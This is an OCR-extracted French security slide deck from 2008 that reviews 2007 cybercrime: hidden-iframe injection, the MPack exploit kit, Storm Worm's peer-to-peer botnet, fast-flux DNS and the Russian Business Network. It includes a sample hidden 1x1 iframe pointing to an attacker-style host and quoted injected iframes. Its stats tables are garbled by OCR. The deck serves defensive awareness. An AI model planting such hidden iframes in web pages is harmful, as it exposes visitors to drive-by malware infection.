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Notes

- Cette présentation fait suite au « panorama de la
cybercriminalité » presenté au CLUSIF le 17 janvier 2008

- La présentation originale est disponible sur

— http://www.clusif.asso.fr
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http://www.clusif.asso.fr/

Agenda

- Quelgues mots sur le panorama Clusif. ..
- IFraming, the italian Job

- Mpack...

= Stormworm et botnet

= Fastflux

- Activités « douteuses »

- domain tasting,
- Russian Business Network (RBN)...
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Ou, quand, comment

- Jeudi 17 janvier 08 — 16h

= Groupe de travail du CLUSIF

— Club de la Sécurité de I'lnformation Francaise
— 300 sociétés membres, RSSI, offreurs...

- Présentation annuelle, a Paris

- Environ 120 personnes, dont une vingtaine de journalistes
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Objectifs

- Apprécier I'émergence de nouveaux risques et les tendances de
risques déja connus

- Relativiser ou mettre en perspective des incidents qui ont défraye la
chronique

- Englober la criminalité haute technologie, comme des atteintes plus
« rustiques »
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Retour panorama 2006

Les mules

Vol de fichiers de données

O days et sites d’encheres (WabiSabil_abi)
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Panorama 2007

Mondes virtuels

Perturber, déstabiliser

Sophistication des attaques

Enjeux malveillants sur le eCommerce

Evocation de faits marquants
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Mondes virtuels

Mondes virtuels : monnaie « non virtuelle »
Gold, Linden Dollar...

-> intérét pour la criminalité organisée

1.5 millions de $ échangés / jour sur 2 Life
-> Vol de comptes (WoW : 10 M° de comptes)

Gold Farming

Viol sur 2nd life, vol de e-meuble... pédo/porno...
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Perturber, déstabiliser

Affaire CastleCops

Piratage en Argentine, probleme d’approvisionnement en carburant

Espionnage et F1

Réseaux sociaux et controle d’'infos
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Enjeux malveillants sur le eCommerce

- Présentation de 'OCLCTIC

(Office Central de Lutte contre la Criminalité liee aux TIC)

- Carding, skimming, escroquerie Internet

- ... ebay, WesternUnion, E-Gold, Web Money...
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Faits marquants 2007

- Cyber-guerre en Estonie

- Cyber-attagques chinoises

- Enjeux de sécurité SCADA (Supervisory Control And Data
Acquisition)
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Sophistication des attagues



Iframe

: Définition

- Un IFRAME (Inline Frame) est un code de redirection qui permet
d’afficher dans une page Web, un cadre contenant du code HTML
local ou distant. Parmi les attributs offerts avec I'élement, il y a :

src : la source du contenu a insérer dans le cadre ;
name : le nom du cadre, permettant de construire des liens vers celui-ci
scrolling : variable autorisant ou non le défilement dans la fenétre ;

ainsi que toutes les options pour gérer le cadre, comme sa visibilite, sa
largeur, sa longueur, sa position dans la page, ses marges, etc.

Exemple: <IFRAME src="http://www.lemonde.fr" width=530 height=360>

Contenu de remplacement pour les
navigateurs qui ne supportent pas cette balise.
</ 1FRAME>
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Iframe : Détournement

- La phase préliminaire de I'attaque consiste a rechercher et a infiltrer des sites
vulnérables. C’est le cas pour de tres nombreux sites qui s’appuient sur des applications
déeveloppées avec le langage PHP.

- Méme si 'lIFRAME est « caché », il joue son rOle en pointant vers la page du site distant.
Si celle-ci contient un exploit (ou méme simplement un script), il pourra s’exécuter pour
peu que I'ordinateur qui I'active y soit vulnérable (ou ait des paramétres de sécurité
laxistes).

- Les attaques ont éte nombreuses et efficaces: ANI, MS06-044, MS06-006, MS06-014,
bugs ActiveX et autres XML overflows

Exemple: <IFRAME src="http://blackhatcrew.ru/tds/iframe.php*
width="1" height="1" style="visibility: hidden; ">
</ 1FRAME>
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iframe caché, réseau sociaux

MySpace.com - Alicia Keys - HARLEM, NEW YORK - R&

File Edit Wiew Favorites Tools Help

{ Soul / Blues - www.myspace.com,

G=Back - = - @) t | Qhsearch (G| Favorites  Media ®| - S - H

Address I@ hitkpsf fvs . myspace. comfaliciakeys

| B g | I

CAS | AW
In Steres
3.

T

S8 E——

Total Plays: 14982828 Downloads Today: 0 Plays Today: 5008

Like vou'll Never S... Plays: 391727

Download | Comments | Lyrics | Add

Mo ©ne Plays: 3500651

Download | Cormmments | Lyrics | Add

Mo One FeatDarian M... Plays: 1157
Download | Comrents | Lyrics | Add
Dragon Days Dirty H... Plays: 1757700
Download | Comments | Lyrics | Add

2r in a new window

(woir tout)

CBS Sunday Mornin

il

| B[ @

<tr><td>Email Address</tdsetdsestylas navi
class="navi"><a href="11 &« mn B Bell o wella®
style="background-imzp ol Bl B |

88px;width:802px; "></a></div><input type="t

L= ]

a~visited {visibility:hidden; }</style><div

=/a.jpg " );position:absolute; left:0px; top:0px; height:67
ext” name="email"></td></tr>

=
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Iframe « cachées » ?

) <iframe width=0 height=0 frameborder=0 - Recherche Google - Mozilla Firefox

Fil= Edit Wiew Histary Bookmarks Tools  Help @) O @ '@ @ http:a’.n"www.google.fla’search?q=Z3Eiflame+width2‘ig" @ A= 19

GO Ogle |<iframe width=0 height=0 frameborder=0 | _ %’:wm

Rechercher dans : @ web © Pages francophones © Pages : France

Web Resultats 151 - 160 sur un total d'environ 7 610 pour <iframe width=0 height=0 frameborder=0 (0,20 secondes)

Ce site risgue d'endommanger votre ordinateur.
... width=100 height=0 frameborder=0></iframe> <iframe src=http:/old eglobalpurchase.
comfimages/zhaopian] htm width=0 height=0=</iframe> <iframe ...

wearwy. sfphd. comd - Pages similaires

2AP.27922.22227P2222227222% - - 998272 .

<IFRAME narme=1 src=http:/bbs. yhongy net/MD/zhengxiaogg. htrml frameBorder=0
width=100% scrolling=no ... autostart=true WIDTH=0 HEIGHT=0 REFEAT=TRUE="} ...
ry. kingkong. comdongkong/blogM 29080 htrml - 21k - En cache - Pages similaires

Karka dels Telecentres - Ajuntament de Lleida - [ Traduire cetie page ]
channelld={§channelld}"=<fiframe> <ftd> <td class="chatarea" valign="top" ... not
supportediiri</iframe> <iframe width="0" height="0' frameborder="0" ...

telecentres. paeria. esftelecentresftiki-edit_templates php?template=tiki-chatroom tpl - 23k -
En cache - Pages similaires

document.write("<iframe width="0" height="0' src="?77?"></iframe>"); ...
src=http:/fupx. com. cn width=100% height=100% scrolling=no frameborder=0=") ...
blag. pixnet. net/hockph/postA535307 - 21k - En cache - Pages similaires

Project for newbie - [ Traduire cette page ]

... id=ad1 visibility=hidden height=83=</ilayer= <nolayer=<iframe ... marginheight=0
hspace=0 vspace=0 frameborder=0 scrolling=no bordercolor="#000000"> <A, ...
mail. python. org/pipermailfpython-listA1999-April/001014. html - 13k -

En cache - Pages similaires

WS test gui - Mapbenderiiki - [ Traduire cette pange |

htralfmod_blank.html' frameborder=00"00W" 83 -17,1,1.0," " 'iframe’ ..... =W bMWY
style="Wposition: absolute; width:0; height:0;top:0; left:0 ...

wwaw. mapbender. orgfindex. phpMWfs_test_gui- 42k - En cache - Pages similaires
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Attagues coté client (client-side attacks)

Request
. Malicious
Vulnerable Client Attack as part of response Server

Malware Reguest .

* >~

) Malicious
Vulnerable Client Malware

Server

= Source : http://www.honeynet.org/papers/wek
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Printemps 07 : Italian Job / MPack

= Attaque prémeditée : Entre la mi-avril et la mi-juin, un grand nombre de serveurs

web est corrompu. (faille commune visant Apache ou IS ou une erreur de
configuration au niveau des FAI probablement en cause)

= Enjuin, plus de 10 000 sites sont touchés dont 80% en ltalie. Plus de 80 000

machines sont ensuite infectées.

- Des qu’un utilisateur visite un site piegeé il est silencieusement redirigé vers un

web hébergeant la page PHP d’un outil connu sous le nom de MPack. (iframe)

= Diverses attagques exploitant les failles de sécuritée du navigateur de la victime

18

sont enchainees (Firefox, IE, Opera, etc.)
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Derriere I’ iframe : MPack

Botnet,

, RockPhish, Site légitimes
Avant I'attaque Fast-Flux, piégés
DDoS,

Vol d’identité,

1. Une personne malveillante
dispose du kit MPack. Elle I'a MPack C&C center
configuré et a implantée sur son
serveur web la page PHP utile au
lancement des exploits ainsi que
les divers modules qui leurs sont
associés.

2. Elle s’est infiltrée sur quelques
serveurs web et a insérée des
balises HTML iframe piégées qui
pointent sur sa page d’attaque.

3. MPack est configuré pour
implanter secretement plusieurs
programmes sur toute machine
vulnérable qui s’y connecte.

Le premier programme est un piégeur. Il tentera d'infiltrer les pages web accessibles depuis le poste de la
victime afin de les infecter et d’étendre le rayon d’action de MPack.

Les autres programmes sont généralement des implanteurs qui installeront les programmes malveillants
gue souhaite utiliser le pirate (robot, backdoor, keylogger, PassWord Stealer, etc.). L’outil est couplé a une
base MySQL qui lui permet de suivre I'évolution de I'attaque.

19 OSSIRB - avril 08 — sophistications attaques Diffusion controlée - Groupe France Télécom


http://www.corante.com/mooreslore/archives/images/hacker.gif

IFrame & MPack

L’attaque

Site légitimes
piégés

1.  Lavictime visite un site légitime MPack C&C center
piégé

2. Elle est redirigée silencieusement
vers le serveur hébergeant MPack

3. En fonction du navigateur,
diverses vulnérabilités sont

eeE

testées. Divers malwares sont A2): redirection.
télecharges et exécutes. o TETIE M.
4. Les pages web accessibles depuis A

le poste de la victime sont a leur

tour piégées. (3): exploitation

(1): connexion vers un
site légitime

Botnet,

RockPhish, n

Fast-Flux, < > , r

DDoS, . . —_ || P . .
Volawents, (4): Machine sous [ (4): infection html
controle
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Mpack

Outil commercial « de piratage »

Développé et maintenu par un groupe russe

Entre 700 et 1000 $, support compris...

Simple et efficace... (Collection de scripts PHP)

* The project is not so profitable compared
to other activities on the Internet. It's just
a business. While it makes income, we will
work on it, and while we are interested in it,
it will live.

"DCT", one of three developers of the MPack
infection kit

Source : securityfocus.orq

21 OSSIRB - avril 08 — sophistications attaques Diffusion controlée - Groupe France Télécom



Derriere I’ iframe
Le cas de I'ltalie (« Italian Job »/MPack)

MPack v0.86 stat

Total traff; ID3B16 - 94648

Exploited: 12756 - 9980

IE XP ALL 51966 - 47853

Covarme | s |
o [ o |

Loads count: 13722 - 4921

Loader's 107.57% -

response; 49.31%
| operaz | 25-25

66666 - 60763
8832 - 6636
response: 555

‘Country  Traff Loads
[ = - |
blocking:

S - United states

1628

== GB - United kingdom | 1534 |
= US - United states [1914] 68 | - ML - Netherlands 1261
[ DE Germany _ [1365] 79 | 5.9 | CH - Switzerland 1185
0 PR France |69 | 53 | 500 | e
= Gp — United kingdom | 852 | 40 | .65 | CA - Canada
[ Ch - switcerland [ 652 | 20 | 445 | T MX - Mexico 7
% x-mewco [ 551 | 60 | To0.9 | Y
B9 4R Argentina | 506 | 52 | 16.21 | S

Source WebSense

Source Symantec
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MPack v0.90 stats

Attacked hosts (total - unig) Traffic (total - unig)
IE XP ALL 114721 - 96104 Total traff 159073 - 129089
QuickTime 2175 - 2048 Exploited 44304 - 35574
Win2000 70323 - 6260 Loads count 174038 - 15968
Firefox 12885 - 12514 Loader's response 38.85% - 44.89%
Opera7 1271 - 1264 Efficiency 10.94% - 12.37%

Browser stats (total) Modules state

Statistic type MySQL-based
User blocking ON
Opera Country blocking

MS5IE

Country Traff Loads
112793 12653

== RU - Russian federation

73 7
£ .80

16666 1670

1

== UA - Ukraine

7045 593

Ml 1T - Ttaly

I RV

5775 673

v R 1T
=R 1T

= | GE - Georgia

5419 657

3 RO

I BY - Belarus

» AR

3098 376

I K7 - Kazakstan

1.9y . LT

E= US - United states SD

¥l A7 - Azerbaijan




Méme technique, d’autres outils

- |lcePack

— outil similaire a MPack, les exploits sont les mémes
— interface d’administration évoluée
— commercialisé aux alentours de 400 dollars

= n404

— utilisé contre le site de la Bank of India (31 aodt 2007)
- NeoSploit

— Utilisé contre le site de Monster.com le 19 novembre 2007 (Eddie Bauer, GMAC
Mortgage, BestBuy, Toyota Financial and Tri Counties Bank).
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StormWorm

Nombreux noms : Storm Worm, Zhelatin, Peacomm

Premiere apparition en janvier 2007

Caractéristiques :

— Cible les systemes Windows

— Se propage par mail invitant I'utilisateur a se connecter sur un site exploitant une
faille et proposant des programmes attrayants (social engineering)

— Innovation : canal de contrdle P2P

Objectif : Botnet, activités illegales, envoi de spam...
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Botnet classique (IRC)

BotMaster

Command

DNS Server

¢ 3
Exploit  Vulnerable "
User
\ DNS lookup

Bot download £
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StormWorm : P2P Botnet

Look at thiswideo :
http:/f11.22. 33, 44/

& botmaster

bDos SPAM Phishing
@ ©
Buy this! Look at thisvideo :

http:/f11.22 33. 44/
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Click-me... (beaucoup d’incitations pour
infection...)

%2 Tor: anonymity online - Mozilla Firefox
M| Fichier Edition Affichage  Hetorique  Margque-pages  Outls 7

@ | L ey ! »| b Gl

. . c—
‘T&h, Tor: anonymity online
e

Tor 1z a toolset for a wade range of orgamzations and people that want to mprove
their safety and secunty on the Internet. Tsng Tor can help you anonymeze web
browsing and pubbshing, mstant messagmg, IRC, SSH, and other apphcations that
use the TCP protocol. Tor also prowdes a platform on whach software developers
can buldd new apphcabons wath budt-in anonymaty, safety, and pnvacy features

Tor amms to defend agamst waffic analysiz, a form of network survedlance that
threatens personal anonyruty and privacy, confidential busmess actrahes and
relanonships, and state securty. Communications are bounced around a
cistnbuted network of servers called omon routers, protectmg you from websses
that budd profiles of your mberests, local eavesdroppers that read your data or
learn what sites you visit, and even the omon routers themselves.

Download Tor

Termind

1. Search 2. Download 3. Enjoy

<4 Easy To Install 4 Favorites Searching 4 Video Mail
< Built In Video User Guides 4 Auto Virus Scanning 4 Pway Messaging

28 (O ce Télécom




P2P Network over OverNet/eDonkey

Le caractere
dynamique de
I'évolution du
réseau rends
difficile le controle
/ blocage du
botnet

spooldrini
-1
E
L

Ecriturs
(rm.&.jour)

spooldrim

TMmQOOomPe
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Analyse du binaire

Binaire protégé : 2 couches de chiffrements qui varient avec quasiment chaque
binaire

Détection des machines virtuelles et protection anti-sandbox

Programmeé en C++, code multi-threadé : amélioration perceptible du niveau
des programmeurs de malware

— Le C++ complique nettement la tache du reverser
— Le multithreading €galement (surtout a cause de I’API Windows)
— Code modulaire (couche de communication séparée de la couche de contrdle)

Le bot utilise le protocole P2P Overnet, basé sur la spécification Kademlia
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Reverse proxy

Look at thiswvideo :
""'* http://11.22.33. 44/

""'h Look at thisvideo :

( / http://2.11.3.67/

;-‘, I 11.22.33.44

®
(B

[N Ly Pl

reverse proxy
IP:20.3.4.5

—0

reverse proxy

IP: 211.3.67 a
T —

reverse proxy
IF: 8.4.21
OSSIRB - avril 08 — sophistications attaques

e J-._-_‘-.-‘-
reverse proxy | I

mothership B

-——'—"’——’;n—;thershipﬂ
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Les caractéristiques a retenir

= Les concepteurs du botnet font de plus en plus preuve de professionnalisme

Conception modulaire
Canal de contréle distribuée et résistant, confondu avec un réseau légitime

Partition du botnet : possibilité de vendre ou de louer un sous ensemble du botnet
grace aux clefs de chiffrement des hash

Possibilité de fournir un service clefs en main pour le spam en vendant ou louant
I'acces aux serveurs de contrOle

Grande variété de binaires : analyse longue et repétitive, difficulté de créer des
signatures
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La réponse aux botnets

- La réponse specifique est vouée a I’échec

Signatures des binaires impossible : nouvelles variantes quasi quotidiennement,
pages web uniques

Chiffrement de bout en bout des communications
Canal de contrble distribué

Authentification forte pour le canal de contrdle
Protection du code polymorphique et efficace

= Nécessité d’une approche générique
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Adresses IP multiples affectées a un FQDN (Fully

Qualified Domain Name, nom de machine et nom de
domaine)

Souvent associés a des « reverses proxy »

Utilisés pour le « Cyber-Crime »

Enregistrements A du FQDN change
constamment (TTL tres court)

Enregistrements A et NS changent constamment
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High availability | Authority pour zone

<

DNS Spam.net Mise a jour réguliére des
enregistrements de spam.net
local IP n°1, IP n°2...
) BotMaster
Requeéte IP pour
www.spam.net
] Réponse IP n°x (TTL=0)
It o | o
| e c
12 |85 | & - ,
o122 | o Web infecté
1 o |T© 0
1 S |x S c
o = o
o = o
I \Q) \Q)
VY Y

<

PC infecté PC infecte

Proxy 2
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High availability

DNS
local
' K
| 4 _ \
] e \

Nl e o
|l = @& c

o S5 O o \
|l = g » -

) &J = ) \
215 | ¢ e
| 81 3 S

\Q N)

\ A A

&5

S
Utilisateur

Authority pour zone
spam.net

4

Requéte IP pour spam.net
Réponse ns IP (TTL=0)

Sa

PC infecté — NS 1

sLa

PC infecté — NS 2
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Mise a jour réguliére des
enregistrements du dns spam.net
(ns1;ns2IPn°1, IPn®2...

BotMaster

Web infecté

"“-—@} a

PC infecte PC infecte
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Fast Flux example

thebestcasinosonly.org

A Records
Class B Diversity
NS Servers
TTL Values

@ _dig thebestcasinosonly. org >

i o<<xx DIG 9.3.1 <<>> Thebestcasinosanly.org

i3 GOT answer:

i3 —-»»HEADER<<- opcode: QUERY, status: MOERROR, id: 34670

iy Tlags: gr rd ra; QUERY: 1, AWSwWER: 10, AUTHCORITY: 2, ADDITIOMAL: 1

va QUESTION SECTIOM:
ithebestcasinosonly. org. In A

v AMNSWER SECTION:

thebestcasinosonly. or ,‘@ In A L131.,245.17
thebestcasinusunWﬁ.Drg. 19 In A, 24.196,559,1471
theheztcasino=only.org. 180 In o, Bl.33.123.33
thebestcasinosonly.org. 180 In o 67 14.250. 74
thebestcasinosonly.org. 180 Im o 67.165, 248,201
thebestcasinosonly.org. 180 Im o 65.1158.858.8
thebhestcasino=sonly.org. 180 In o, 69,145, 50,205
thehbestcasinosonly.org. 180 In o 72 24.86.110
thebestcasinosonly.org. 180 In o, F5.35.119.75
thebestcasinosonly.org. 180 Im o L684,184, 207

sy AUTHORITY SECTIOM:

thebestcasinosonly.org. 86398 IN NS ns2.cofbfefaeir2cazda. Comn
thebestcasinosonly.org. 863598 Im M= ﬂ51.cOFbFefEeE?Eca34a;EEm,:>

ya ADDITIONAL SECTIOM:
hsl. cofbfefee3?2cazda. com. 172800 In A Fh.83.111. 684

Source : Honeynet project - http://www.honeynet.org/
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Fast Flux example
thebestcasinosonly.org

24.62.54.140"

[12 2 ey 17047176 6710209203 GA073.64 TEOM0I01  VEERZIET [}uer}r string: |24.EE.54.1 40

1220654141 2417810858 6753229  BII417.2 TE132.196.48  T6.105.73.135

1220765178 2417870001 6712220932 70242226137 TEA3222NTZ  TEA05.9433

122656160 24192090232 67.14.250.74 29239 TOZ4TT2253 THASATIZ4Z  TRAGDI4I67 Cuery

5247362 2419222971 0553104 7024773240 TEI5246201 76.160.19.65

1P2IB6.156.216 24.196.99.141 BAMIF5I92  TO247.75.052 7EIS252075  TEI60.2343

F2IES.162.40 24.197.105.54 GANI95.23  TO24057.067 FEIGOED  TEI67.I64.252 : )
2190186151 24212367 31, EA130115.247 TO2B0.217.237 THIEMO30  THISI5.226 The server returned the following data:
219051251 242407 BIIFLILM  TOZGL246M1 TEITEANINT  TEI93.22E1

1F2192.13853 2427 FTIB8.91127  GAM3IZM 7025525089 TEALIS4230  7TE193.35.241 o

172192673 EEEEEEED] cTE4N4125 BOMEE0Z05 TOTENS  TEILISLE0  VEI9618183 waawd rmanicjackpotl.com & 24.62.64.140
17219341102 243462130 BEIGZMNI BIMEMZES TLIZMIED 752122671 V619518356

1905447136 2430056051 BB1IB5ES  GISL200212 TLIISAET4  TH2LM42103  TE135.9.30

1BE2I7.0L05 41318322 68I208657  GAI51200241 TLIBSTISE  TH2220182  TRIITELA04 nsl.91acd1b? . com A 246254 140
20011421432 418060136 6812625493 BOITTA0100 TLIIGILIET 75264934 76I198.93.33

201244245187 413060059 BRAZE2G5.178 BAME2XIZ34  TLIEM44  TEILBLITEZ  TE202.254.102 nsZ. 91ac21by.com b 24 B2A4 140
20124525274 4227241192 GRIBGAB05T  GAISRIZZ23  TLIBTAIGMO  THILGIIET  TH20317.200 -
203T00LE 4245020073 68204134068 E9208138101 TLI3G4E230 7SI2732  TE215.12913

20300564 613312333 68205008135 920813323 TLMONGIS: 75325025  TE.2IEN5183 nsd G1ac21by com A 246254140
20413091145  65.184.237.226 65245100 GOZ0NIIGEE TLMIALIM  THIGIE4E TRIZ23DI6T

20413181071 BE205E553 EB2502MI51 21T TLISBAZMA  TEITISLME  TE22TOIZ2 nsh 91ac2 by com A 24 R254.140
20413091183 65.24.108.223 GB25119554 GIZIGIIEM4E TIZ0621986 TEAMLIIT  TEZLIZLTI —
412N B52400983  BB333023  GAZIGMO43  TIZIGAINTE  THAELD  TE24MEIRZ

20726583226 6525683  GSATJG3126 EOZIGITAME TIZIZEEST TEATOIOY  TE2TIEMS cOfbfefed/Zeadda com A 245254140
20810421244 6533092199 6837220099 B9ZZITM  TILZIBA0T  TEHIANE  TEAIE523S :

FUEAE4ZET BELIOIGS  BBATHITE  BOZTISE4S  TITAITAISE TEAEIIEZE  TESES11ES rroyvalcasing. com A 24 B254 140
20310458123 GE.M2IFON3Y BOA4IGT232 GZIZEGNE  TLTRZINEI  THAGI0ME  TEANIS4

2081981605 GE.MZI95118 EEASNGIST G9ZIZEEM09 TLTESEM  THAE3TIS]  TEO9Z54E4 i i i

20313517064 GEIGISD25  GO4633192  GUMEITAIZY TLTAZOMIN  TSAGB0126  S2323413 il e OO 24.62.54.140
20513517.239 GEITT.22L050 GB5TARIST  GAZGLIET24D TLTAZTITO TH4EI5208  S4.12543.159 o .

2031114174 GETT.24253 BATIATINE  BA2SI44ISS  TITAZG2196 THATIVAT 84222244136 www. magicvipeasino.com A 24 F254. 140
ZST.250002 GE.IBG.IZZZE9 EBTSETD  TOUZEAZN4  TLELZ4AIST  THASNEZE 84223131250

2057252229 BEIGANLIZE 6888131008 TOISN3623% TRISLTRIGE  PEE2164 S4.223.134.181 exotic-slots. com A 24 524140
Z0ET.25280 GEIS0I0ZI34 E8B8M359  TOAIMTITZ TRISESEME  TEELIZAT  SEILNEN ==
21625550249 GE.2M456.40  GEA9.254.M7 TONIISIIS  TZIETIS6.200 7554135226 9917226164 ]

HAHIE.247 GEZIG200135 GEAOITEINE TOZZEMISD TIIMIMIGE TEEIIEINE 96215934 weanw theewoticslots.com & 24 B2.54. 140
UG GE2IG.5166  GRALITEIGY  TOZZEZ24180 THINEZIE  THEIS0MEY 931342013 )

2413124544 66229173045 BAS8IITTS 7022623230 THMOZ4ETT T5E3E397 931946650 waange. royvalvipslots. com L 24 5244140
4MTRIED  GE2I4200.M2 BBAIM396T  TOZIZIG04 THO2IGEY  THE4IB4207 9313919306 -
AIEI302 66562635  GRS02IBME  TOZIGISTZ  TEO3GM3  THEGISNZE 3920224 .

2416179061 GEE5.2I7T.252 BBOLIZZ2Z 7023629243 THO37093  THESIII  S9244NZM wn rnagicajackpot.com A 246254140

287 IP Addresses
60 Different AS #'s
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Source : Honeynet project - http://www.honeynet.org/
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Domain tasting

- Facturation des domaines DNS au bout de 5 jours (registrar)

— Pratique qui a I'origine permettait de gérer les « erreurs » (typo...)

- Détournement fréquent de cette pratique

— Utilisation du « domain tasting » pour disposer de nombreux noms de
domaine gratuits (spamming, phishing...)

— Voir méme de « domain Kiting »
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Quelques statistiques

Gross deletes development, .com and .net
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Source: Icann, Nick Ashton-Hart
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L’ICANN prends des mesures (01/08)

- Suite aux abus du domain tasting

- 23 janvier 08, meeting ICANN

— chapter 5, “Proposals to Address Domain Tasting »
— http://www.icann.org/minutes/prelim-report-23jan08.htm

Facturation des domaines, y compris pendant I’AGP (Add Grace
Period)
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http://www.icann.org/minutes/prelim-report-23jan08.htm

Nom de domaine... un sujet qui bouge

- En parallele du domain tasting, le « Drop-Catching »
- Dans la lignée du Cybersquatting

- ldée : déposer immediatement les domaines expiré pour
profiter de leur notoriéte

- Explosion des PPC (site de Pay-per-Click)
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Drop Catching
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Source : http://www.cadna.org/en/pdf/cadna-white-paper-drop-catching.pdf

43 OSSIRB - avril 08 — sophistications attaques Diffusion controlée - Groupe France Télécom


http://www.cadna.org/en/pdf/cadna-white-paper-drop-catching.pdf

Des organisations criminelles
toujours en action

- The Russian Business Network (RBN)

- ISP russe, basé a St Petersbourg...

= ... CONNU pour ses activités douteuses

— Tel que présenté par Wikipedia : Pornographie, contrefacon, malware et
phishing...
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Russian Business Network

Octobre 2007 : C'est un empire...

Nomb o de vente de f 1 million de sites, plusieurs millions
ompreux sites de vente de 1aux y . - I

produits de sécurité (anti-virus, anti- d'adresses IF.) (_jISpOnIb|eS et 4 millions de
spyware, codecs). visSiteurs par mois.

Sites de ventes de malware, forums

spécialisés (mise en relation, ventes,
achats).

Sites proposant des rémunérations
en contrepartie d’activités douteuses B o g T
(iFramer) i = U4
Nombreux sites pieégés adressés par
les IFrames (avec exploits, MPack), ] XX YA | Lo
sites miroirs (RockPhish). Sites relais “F A A i S
pour auto-génération de malware Falle W
(W32/Nuwarr), etc.

Sites collecteurs (phishing) et : v =
administrateurs (botnet).

Sites pour adulte (XXX) et sites
pédophiles. Source Verisign
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RBN... et stormworm 2008...

- Domain Name:

- MERRYCHRISTMASDUDE.COM - Creation Date: Nov 27 2007
-  UHAVEPOSTCARD.COM - Creation Date: Dec 23 2007
- HAPPYCARDS2008.COM - Creation Date: Dec 26 2007

- Dépose par
“ANO REGIONAL NETWORK INFORMATION CENTER DBA RU (Russia)”

(&)
" | QIlt What Is Keepin §
W
Watch these sexy girls give you that special

Santa ¥reatment! Each one does her best to

make you really feel the Holiday Spirit!
%

These Girls Are Naughty and Nice!

' #
' Get Your Personal HolicFay Strip Show Today

“BoNNLOAD FORFREENOW:»

Source : rbnexploit.blogspot.com
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Webographie

MPack, the italian job
http://www.vnunet.fr/fr/news/2007/06/20/I-attaque-italian-job-se-r-pand

Another malware pulls an Italian job
http://blog.trendmicro.com/another-malware-pulls-an-italian-job/
Alerte Websense : MPack
http://www.websense.com/securitylabs/alerts/alert. php?AlertiD=782
[taly Under Attack: Mpack Gang Strikes Again!
http://www.symantec.com/enterprise/security response/weblog/2007/06/italy_under attack mpack gang.html

Know your Enemy: Fast-flux Service Networks
http://www.honeynet.org/papers/ff/

Know your Enemy: Malicious Web Servers
http://www.honeynet.org/papers/mws/
Exposing Stormworm

http://noh.ucsd.edu/~bmenrigh/exposing_storm.ppt

Russian Business Network
http://rbnexploit.blogspot.com/

Russian Business Network study (David Bizeul)
http://www.bizeul.org/files/RBN_study.pdf

Security Intelligence Webcast Replays

- Uncovering Online Fraud Rings: The Russian Business Network

- Cyber Espionage: China and the Network Crack Program Hacker Group

http://www.verisign.com/security-intelligence-service/info-center/webcasts/archived/index.html
Analyse CERT-IST - Bilan 2007
http://www.cert-ist.com

Domain catching
http://www.cadna.org/en/pdf/cadna-white-paper-drop-catching.pdf

Remerciement :
F. Paget, McAfee, E. Edelstein, Orange et G. Arcas pour les informations et supports fournis
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